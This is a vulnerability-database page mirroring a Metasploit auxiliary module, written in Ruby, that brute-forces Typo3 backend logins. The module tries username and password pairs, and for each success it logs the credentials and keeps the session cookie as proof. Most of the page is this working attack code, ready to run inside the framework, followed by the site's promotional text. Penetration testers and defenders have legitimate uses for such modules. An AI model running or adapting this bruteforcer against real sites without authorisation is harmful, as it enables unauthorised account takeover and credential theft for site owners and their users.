Lucene search
K

Typo3 Login Bruteforcer

🗓️ 01 Sep 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 215 Views

Typo3 Login Bruteforcer. Attempts to bruteforce Typo3 logins

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HTTP::Typo3  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::AuthBrute  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'Typo3 Login Bruteforcer',  
'Description' => 'This module attempts to bruteforce Typo3 logins.',  
'Author' => [ 'Christian Mehlmauer' ],  
'License' => MSF_LICENSE  
)  
end  
  
def run_host(ip)  
print_status("Trying to bruteforce login")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => target_uri.to_s  
})  
  
unless res  
vprint_error("#{ip} seems to be down")  
return  
end  
  
each_user_pass { |user, pass|  
try_login(user,pass)  
}  
end  
  
def report_cred(opts)  
service_data = {  
address: opts[:ip],  
port: opts[:port],  
service_name: opts[:service_name],  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
origin_type: :service,  
module_fullname: fullname,  
username: opts[:user],  
private_data: opts[:password],  
private_type: :password  
}.merge(service_data)  
  
login_data = {  
last_attempted_at: Time.now,  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
proof: opts[:proof]  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def try_login(user, pass)  
vprint_status("Trying username:'#{user}' password: '#{pass}'")  
cookie = typo3_backend_login(user, pass)  
if cookie  
print_good("Successful login '#{user}' password: '#{pass}'")  
report_cred(  
ip: rhost,  
port: rport,  
service_name: 'typo3',  
user: user,  
password: pass,  
proof: cookie  
)  
return :next_user  
else  
vprint_error("failed to login as '#{user}' password: '#{pass}'")  
return  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
215